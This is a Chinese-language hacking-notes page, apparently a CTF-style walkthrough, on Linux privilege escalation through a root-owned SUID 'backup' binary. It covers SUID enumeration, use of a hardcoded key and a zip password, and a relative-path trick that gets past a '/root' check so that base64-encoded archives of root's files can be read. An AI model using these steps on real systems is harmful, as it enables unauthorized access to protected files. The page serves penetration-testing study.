> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-backup-binary-linux-privilege-escalation.md).
# SUID 二进制文件（备份）- Linux 权限提升
SUID 二进制文件（备份）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护的文件、启动特权 shell，或执行攻击者控制的代码。此特定页面侧重于 **SUID 二进制文件（备份）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
find / -perm -4000 -type f 2>/dev/null
```
## 示例
要搜索已启用 SUID 位的文件，使用以下命令：
```bash
find / -perm -4000 2>/dev/null
```
这使我们能够找到一个名为 `backup`.
该二进制文件的所有者是 `root`，这意味着它以 root 权限运行。
当我们尝试直接运行这个二进制文件时，没有任何反应。不过，通过测试不同的输入项，我们发现它接受由空格分隔的三个字符的字符串，这揭示了可用的功能：
```bash
/usr/local/bin/backup a d g
```
当我们查看 `app.js` 文件时，我们会找到关于如何使用该二进制文件的信息，以及执行它所需的密钥。密钥位于文件顶部。
要使用该二进制文件，我们需要提供密钥，然后再提供要保存的目录路径。
`45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`
```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
```
这会生成 Base64 输出。
Base64 输出可以解码为一个 `.zip` 文件，使用以下命令：
{% code overflow="wrap" %}
```bash
echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip
```
{% endcode %}
该 zip 文件受密码保护。我们使用之前找到的密码
* 密码： `magicword`
不过， `root.txt` 归档文件中包含的文件只是诱饵（兔子洞）。
## 通过 `ltrace`
使用 `ltrace`进行深入分析，我们观察到二进制文件会将路径 `/root` 与参数中提供的路径进行比较。如果路径匹配，它会显示一张卡通恶搞图。
为了绕过此检查，我们从 root（`/`）目录运行该二进制文件，方法是请求对 `root`
```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
```
新的版本同样是 Base64。我们将其解码以获得最终内容：
{% code overflow="wrap" %}
```bash
echo "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" | base64 -d > root.zip
```
{% endcode %}
### root.txt 标志 :)
通过提取最终文件，我们可以访问所需内容。
---
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